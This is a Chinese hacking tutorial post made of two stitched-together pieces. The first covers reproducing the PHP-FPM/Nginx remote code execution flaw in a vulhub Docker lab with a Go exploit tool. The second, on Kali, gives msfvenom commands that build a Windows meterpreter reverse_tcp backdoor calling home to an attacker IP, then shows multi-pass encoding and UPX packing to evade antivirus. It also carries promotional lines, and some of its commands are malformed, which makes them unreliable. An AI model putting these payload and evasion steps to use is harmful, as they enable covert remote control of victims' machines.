你根本不懂的黑客神技，如何利用PHP-FPM远程代码执行

在现实生活中，黑客一直很神秘，，但是，他们一直在你们的身边。他们是一群计算机爱好者，凭借着兴趣爱好，一直在这条道路上前行。

1、漏洞描述

当Nginx使用特定的fasrcgi配置时，存在远程代码执行漏洞，但这个配置并非Nginx默认配置，当fastcgi_split_path_info字段被配置为^(.+?\.php)(/.*)$;时，攻击者可以通过精心构造的payload，造成远程代码执行漏洞，改配置已被广泛使用，危害较大。

2、环境搭建

这里就直接用vulhub上面的集成环境，用docker直接搭建，这里就不讲如何安装docker了，网上也有类似的很多教程

然后就可以看见它这里搭建好了环境

查看nginx配置

如果在自己的本地搭建的话，先进入容器，然后查看nginx配置文件，其次，-it后面的是id号，id号执行docker ps -a就可以获取到

首先whereis nginx搜索所有的路径，然后进入/etc/nginx/就可以看见nginx.conf配置文件

用vi去编辑查看这个文件提示没有这个命令，在docker环境中它是一个肯定的一个镜像，所以多余的命令它都没有安装

所以我们只能用cat看一下，如果要修改的话，就要自己安装vi和vim编辑器

进入到conf.d目录，查看当前目录的default.conf文件就是漏洞的配置文件，默认安装的话是没有这个配置文件，所以这里我们用docker搭建的漏洞环境所以是存在的

3、漏洞复现

相关的工具可以关注微信公众号：安界网或者留言问我要复现的工具

漏洞复现需要用到一个工具，但是它这里是用go语言写的，所以我们要安装go环境，

wget -c 执行这个命令下载go安装包

或者直接去官方下载，解压之后，用winscp上传到kali上面去

下载完之后解压/usr/local/目录下，执行tar -C /usr/local/ -xzf 文件名

接下来是配置环境变量 vim打开文件/etc/profile文件

在文件后面加上：export PATH=$PATH:/usr/local/go/bin 然后保存

接着执行命令，使环境变量生效 source /etc/profile 然后执行go version查看对应go版本。

漏洞利用工具下载

下载完之后，可以看见它这里有很多文件

那么这样的话，就执行当前所有的go文件去攻击目标网站，点符号代表所有的意思。

攻击成功之后就可以通过a的参数去执行一些想执行的命令

最后喜欢我文章的朋友请加圈子关注我们，私信关键词：加群。（送免费资料和优惠券）

就会自动分享给你群号。欢迎大家加入我们的安全大家庭。提高大家的安全意识，提升大家的网络安全技能一直是我们的初衷和愿景，让我们共同成为守护信息世界的"SaFeMAN"。

还有可以关注我们微信公众号，在公众号上输入安界网，就可以关注到我们，领取资料和优惠券！

kali-5远程控制

1生成被控端2、启动主控端3、

Netcat 瑞士军刀

扫描端口

建立连接

扫描某IP地址的指定端口

nc -v ip port

连接指定IP地址的指定端口的命令如下

nc ip port

以靶机Metasploitable 2的80端口为例测试

控制软件如果是正向的，受害者计算机执行远程控制被控端之后，会在自己主机上打开一个端口，等待hacker连接，受害者计算机不会主动通知计算机，因此hacker必须知道计算机A的IP地址

控制软件如果是反向的，受害者计算机执行远程控制被控端之后，会主动通知hacker,因此黑客无须知道受害者计算机的IP地址，目前主要使用的方式

1、如何使用MSFPC生成被控端 linux

各种类型的被控端

生成linux的被控端，IP选择本机的etho网卡

运行run,很快就建好了一个handler，这就是对应被控终端的主控端

2、如何在kali linux2 中生成被控端

msfpc 是MSFvenom的优化版

┌──(rootkali)-[~]

└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -f exe -o /var/payload.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of exe file: 73802 bytes

Saved as: /var/payload.exe

这里我们使用msfvenom命令生成一个被控端，使用的被控端就是一个用于windows操作系统的反向远程控制软件，即windows/meterpreter/reverse_tcp lhost=192.168.8.128是所使用的的kalilinux的虚拟机IP地址

使用以下命令可以查看所有可以使用的攻击载荷

name攻击载荷的名称操作系统+控制方式+模块

查找Metasploit 可以在Android操作系统下运行的meterpreter

查看攻击载荷需要设置的参数

msfvenom --list-options -p windows/meterpreter/reverse_tcp

2、如何在kali linux2中启动主控端

输入msfconsole启动metasploit

在metasploit中使用handler作为主控端

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -f exe -o /root/payload.exe

3、远程控制被控端与杀毒软件的博弈

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -f exe -o /var/payload.exe

消除payload.exe的特征码，msf编码器可以将原可执行程传重新编码，生成一个新的二进制文件，这个文件执行后，msf编码器会将原可执行程序解码到内存中并执行

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -e x86/nonalpha -f c

-e 选择的编码器，使用 x86/nonalpha编写方式的到的shellcode如图所示

x86/shikata_ga_nai 两次生成的shellcode虽然功能相同，但是代码已经不同了，这也是黑客钟爱的编码方式，可以进行多次编码 -i 编码次数

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f -raw | msfvenom -e x86/alpha_upper -a x86/countdown -a x86 --platform windows -i 10 -f exe -o /var/payload.exe

3.1 加壳也是对抗基于文件扫描和内存扫描的反病毒技术

加壳工具UPX

upx /var/payload.exe

3.2 powersploit免杀